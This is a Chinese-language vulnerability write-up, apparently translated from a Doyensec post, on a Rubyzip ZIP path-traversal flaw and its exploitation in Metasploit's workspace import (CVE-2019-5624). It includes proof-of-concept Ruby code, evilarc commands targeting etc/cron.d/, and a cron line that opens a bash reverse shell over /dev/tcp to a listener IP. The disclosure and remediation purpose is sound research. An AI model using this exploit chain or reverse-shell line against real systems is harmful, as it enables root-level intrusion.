深入解析Rubyzip不安全ZIP处理与Metasploit RCE漏洞(CVE-2019-5624)

本文详细分析了Rubyzip库在处理ZIP文件时的路径遍历漏洞,以及该漏洞在Metasploit框架中的实际利用,最终导致远程代码执行(RCE)。文章包括漏洞原理、PoC生成、RoR环境下的利用链及Metasploit的修复建议。

在某个项目中,我们有机会审计一个使用Rubyzip gem处理ZIP文件的Ruby-on-Rails(RoR)Web应用程序。ZIP文件一直是触发多种漏洞类型的有趣入口点,包括路径遍历和符号链接文件覆盖攻击。由于测试库禁用了符号链接处理,我们专注于路径遍历利用。

本文讨论我们的结果、在库本身发现的“bug”以及此问题在流行软件Metasploit中的影响。

Rubyzip和旧漏洞

Rubyzip gem有很长的路径遍历漏洞历史(1, 2),通过恶意文件名实现。特别有趣的是PR #376中的代码更改,开发人员实现了不同的处理方式。

1
2
3
4
5
6
7
8
9
# Extracts entry to file dest_path (defaults to @name).
# NB: The caller is responsible for making sure dest_path is safe, 
# if it is passed.
def extract(dest_path = nil, &block)
    if dest_path.nil? && !name_safe?
        puts "WARNING: skipped #{@name} as unsafe"
        return self
    end
[...]

Entry#name_safe在几行前定义为:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
# Is the name a relative path, free of `..` patterns that could lead to
# path traversal attacks? This does NOT handle symlinks; if the path
# contains symlinks, this check is NOT enough to guarantee safety.
def name_safe?
    cleanpath = Pathname.new(@name).cleanpath
    return false unless cleanpath.relative?
    root = ::File::SEPARATOR
    naive_expanded_path = ::File.join(root, cleanpath.to_s)
    cleanpath.expand_path(root).to_s == naive_expanded_path
end

在上面的代码中,如果目标路径传递给Entry#extract函数,则实际上不会检查。该函数源代码中的注释强调了用户的责任:

# NB: The caller is responsible for making sure dest_path is safe, if it is passed.

虽然Entry#name_safe是对路径遍历(和绝对路径)的公平检查,但仅在函数无参数调用时执行。

为了验证库bug,我们使用旧(但仍然有效)的evilarc生成了ZIP PoC,并使用以下代码提取恶意文件:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
require 'zip'

first_arg, *the_rest = ARGV

Zip::File.open(first_arg) do |zip_file|
  zip_file.each do |entry|
    puts "Extracting #{entry.name}"
    entry.extract(entry.name)
  end
end
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
$ ls /tmp/file.txt
ls: cannot access '/tmp/file.txt': No such file or directory
$ zipinfo absolutepath.zip 
Archive:  absolutepath.zip
Zip file size: 289 bytes, number of entries: 2
drwxr-xr-x  2.1 unx        0 bx stor 18-Jun-13 20:13 /tmp/
-rw-r--r--  2.1 unx        5 bX defN 18-Jun-13 20:13 /tmp/file.txt
2 files, 5 bytes uncompressed, 7 bytes compressed:  -40.0%
$ ruby Rubyzip-poc.rb absolutepath.zip 
Extracting /tmp/
Extracting /tmp/file.txt
$ ls /tmp/file.txt
/tmp/file.txt

结果在/tmp/file.txt创建了一个文件,确认了问题。

与我们的客户一样,大多数开发人员可能升级到Rubyzip 1.2.2,认为使用安全,而没有实际验证库的工作原理或其在代码库中的具体用法。

无论如何,它都会是脆弱的 ¯_(ツ)_/¯

在我们的Web应用程序上下文中,用户提供的zip通过以下(伪)代码解压缩:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
def unzip(input)
    uuid = get_uuid()
    # 0. create a 'Pathname' object with the new uuid
    parent_directory = Pathname.new("#{ENV['uploads_dir']}/#{uuid}")

    Zip::File.open(input[:zip_file].to_io) do |zip_file|
        zip_file.each_with_index do |entry, index|
            # 1. check the file is not present
            next if File.file?(parent_directory + entry.name)
            # 2. extract the entry
            entry.extract(parent_directory + entry.name)
        end
    end
    Success
end

在项目#0中,我们看到创建了一个Pathname对象,然后在项目#2中用作解压缩条目的目标路径。然而,对象和字符串之间的和运算符并不像许多开发人员预期的那样工作,可能导致意外行为。

我们可以在IRB shell中轻松理解其行为:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
$ irb
irb(main):001:0> require 'pathname'              
=> true
irb(main):002:0> parent_directory = Pathname.new("/tmp/random_uuid/")
=> #<Pathname:/tmp/random_uuid/>
irb(main):003:0> entry_path = Pathname.new(parent_directory + File.dirname("../../path/traversal"))
=> #<Pathname:/path>
irb(main):004:0> destination_folder = Pathname.new(parent_directory + "../../path/traversal")
=> #<Pathname:/path/traversal>
irb(main):005:0> parent_directory + "../../path/traversal"
=> #<Pathname:/path/traversal>

由于Pathname对../的解释,传递给Rubyzip的Entry#extract调用的参数不包含任何路径遍历payload,导致错误地认为“安全”路径。由于gem不执行任何验证,利用甚至不需要这种意外的路径连接。

从任意文件写入到RCE(RoR风格)

除了通常的*nix和Windows特定技术(如写入新cronjob或利用自定义脚本),我们有兴趣了解如何利用此bug在RoR应用程序上下文中实现RCE。

由于我们的目标在生产环境中运行,RoR类通过cache_classes指令在首次使用时缓存。在参与分配的时间内,我们没有找到一种可靠的方法通过文件写入在运行时加载/注入任意代码,而不需要RoR重启。

然而,我们在本地测试环境中验证了,将拒绝服务漏洞和Web应用程序根目录的完整路径披露链接在一起,可用于触发Web服务器重启,并通过上述zip处理漏洞实现RCE。

官方文档解释:

After it loads the framework plus any gems and plugins in your application, Rails turns to loading initializers. An initializer is any file of ruby code stored under /config/initializers in your application. You can use initializers to hold configuration settings that should be made after all of the frameworks and plugins are loaded.

使用此功能,具有适当权限的攻击者可以在/config/initializers文件夹中添加恶意.rb文件,该文件将在Web服务器(重新)启动时加载。

攻击攻击者。Metasploit认证RCE(CVE-2019-5624)

就在参与结束并获得客户批准后,我们开始寻找可能受Rubyzip bug影响的流行软件。

当我们集思广益潜在目标时,我们一台VM上的一个图标引起了我们的注意:Metasploit Framework

通过源代码,我们能够快速识别几个使用Rubyzip库创建ZIP文件的文件。由于我们的漏洞存在于extract函数中,我们回忆起从以前的MSF版本或不同实例导入ZIP工作区的选项。我们在zip.rb文件(第157行)中识别了负责导入Metasploit ZIP文件的相应代码路径:

1
2
3
 data.entries.each do |e|
      target = ::File.join(@import_filedata[:zip_tmp], e.name)
      data.extract(e,target)

与vanilla Rubyzip示例一样,创建包含路径遍历payload的ZIP文件并嵌入有效的MSF工作区(包含扫描导出信息的XML文件)使得获得可靠的文件写入原语成为可能。由于提取以root身份完成,我们可以使用以下步骤轻松获得高权限的远程命令执行:

  1. 创建具有以下内容的文件:* * * * * root /bin/bash -c "exec /bin/bash 0</dev/tcp/172.16.13.144/4444 1>&0 2>&0 0<&196;exec 196<>/dev/tcp/172.16.13.144/4445; bash <&196 >&196 2>&196"
  2. 使用路径遍历payload生成ZIP存档:python evilarc.py exploit --os unix -p etc/cron.d/
  3. 将有效的MSF工作区添加到ZIP文件(以便MSF提取它,否则它将拒绝处理ZIP存档)
  4. 设置两个侦听器,一个在端口4444,另一个在端口4445(端口4445上的那个将获得反向shell)
  5. 登录MSF Web界面
  6. 创建一个新“项目”
  7. 选择“导入”,“从文件”,选择邪恶ZIP文件,最后单击“导入”按钮
  8. 等待导入过程完成
  9. 享受您的反向shell

结论

如果您使用Rubyzip,请检查库用法并在调用Entry#extract之前对条目名称和目标路径执行额外验证。

以下是不同场景的小回顾(截至Rubyzip v1.2.2):

用法 用户输入? 易受路径遍历?
entry.extract(path) 是(路径)
entry.extract(path) 部分(路径连接) 可能
entry.extract() 部分(条目名称)
entry.extract()

如果您使用Metasploit,是时候修补了。我们期待看到CVE-2019-5624的msf模块。

信用和参考

研究和bug的信用归@voidsec和@polict。

这项工作是在客户参与和Doyensec 25%研究时间期间进行的。因此,我们要感谢我们的客户和Metasploit维护人员的支持。

如果您对此主题感兴趣,请查看以下资源:

  • Rubyzip库
  • Ruby on Rails指南
  • 攻击Ruby on Rails应用程序
  • 1997便携式BBS黑客(或当Zip Slip实际发明时)
  • Evilarc博客文章(或2019年,这篇文章仍然相关)
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计